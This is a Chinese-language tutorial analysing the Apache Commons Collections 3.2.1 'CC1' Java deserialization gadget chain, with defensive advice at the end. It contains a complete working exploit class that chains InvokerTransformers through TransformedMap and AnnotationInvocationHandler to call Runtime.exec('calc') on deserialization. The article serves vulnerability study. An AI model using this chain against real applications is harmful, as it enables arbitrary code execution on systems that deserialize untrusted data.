java反序列化-cc1链分析
字数 1247 2025-08-11 08:35:55
Java反序列化漏洞分析:Commons Collections CC1链
1. 漏洞背景
Apache Commons Collections是一个广泛使用的Java库,提供了对Java集合框架的扩展和增强。在3.2.1及以下版本中存在反序列化漏洞,攻击者可以通过精心构造的序列化数据在目标系统上执行任意代码。
2. 环境准备
2.1 必要组件
- JDK版本:8u65(漏洞在8u71版本修复)
- Commons Collections版本:3.2.1
- 开发工具:IDEA
2.2 Maven依赖
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
2.3 JDK源码配置
- 下载JDK8u65源码
- 解压src.zip到src文件夹
- 将sun文件夹复制到src目录下
- 在IDEA中将src文件夹添加为源路径
3. 漏洞核心分析
3.1 关键接口和类
3.1.1 Transformer接口
Transformer接口是CC1链的核心,定义了一个transform方法:
public interface Transformer {
Object transform(Object input);
}
3.1.2 InvokerTransformer类
InvokerTransformer实现了Transformer接口,可以通过反射调用任意方法:
public class InvokerTransformer implements Transformer, Serializable {
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (Exception ex) {
// 异常处理
}
}
}
3.2 漏洞利用点
利用InvokerTransformer可以执行任意命令:
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
Runtime runtime = Runtime.getRuntime();
invokerTransformer.transform(runtime); // 弹出计算器
3.3 调用链构造
3.3.1 TransformedMap类
TransformedMap提供了对Map的装饰功能,其中的checkSetValue方法会调用Transformer:
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
3.3.2 MapEntry类
MapEntry的setValue方法会调用checkSetValue:
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return super.setValue(value);
}
3.3.3 AnnotationInvocationHandler类
关键入口点,其readObject方法会调用setValue:
private void readObject(ObjectInputStream var1) {
// ...
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
memberValue.setValue(...);
}
}
3.4 解决技术难点
3.4.1 Runtime类不可序列化
使用反射链+ChainedTransformer解决:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
3.4.2 AnnotationInvocationHandler访问限制
通过反射实例化:
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotation = c.getDeclaredConstructor(Class.class, Map.class);
annotation.setAccessible(true);
Object o = annotation.newInstance(Target.class, transformedmap);
3.4.3 readObject的条件判断
必须使用@Target注解,且Map的key必须为"value":
HashMap<Object,Object> map = new HashMap<>();
map.put("value", "任意值");
4. 完整利用链
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1Exploit {
public static void main(String[] args) throws Exception {
// 构造Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 构造恶意Map
HashMap<Object,Object> map = new HashMap<>();
map.put("value", "任意值");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
// 反射创建AnnotationInvocationHandler实例
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object instance = constructor.newInstance(Target.class, transformedMap);
// 序列化和反序列化触发漏洞
serialize(instance);
unserialize("payload.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
oos.writeObject(obj);
oos.close();
}
public static void unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
ois.readObject();
ois.close();
}
}
5. 调用链总结
完整的CC1调用链如下:
AnnotationInvocationHandler.readObject()
-> TransformedMap.entrySet().iterator().next().setValue()
-> TransformedMap.checkSetValue()
-> ChainedTransformer.transform()
-> ConstantTransformer.transform() // 返回Runtime.class
-> InvokerTransformer.transform() // 获取getRuntime方法
-> InvokerTransformer.transform() // 调用getRuntime()
-> InvokerTransformer.transform() // 调用exec("calc")
6. 防御措施
- 升级Commons Collections到最新版本(3.2.2+)
- 升级JDK到8u71及以上版本
- 使用反序列化过滤器(ObjectInputFilter)
- 避免反序列化不可信数据
7. 学习要点
- Java反射机制:理解反射是分析此类漏洞的基础
- 装饰器模式:理解TransformedMap的工作原理
- Java序列化机制:深入理解readObject方法
- 链式调用:理解如何将多个Transformer串联起来
- 条件绕过:理解如何满足各种条件判断
通过分析CC1链,可以深入理解Java反序列化漏洞的原理和利用方式,为后续分析其他反序列化漏洞打下坚实基础。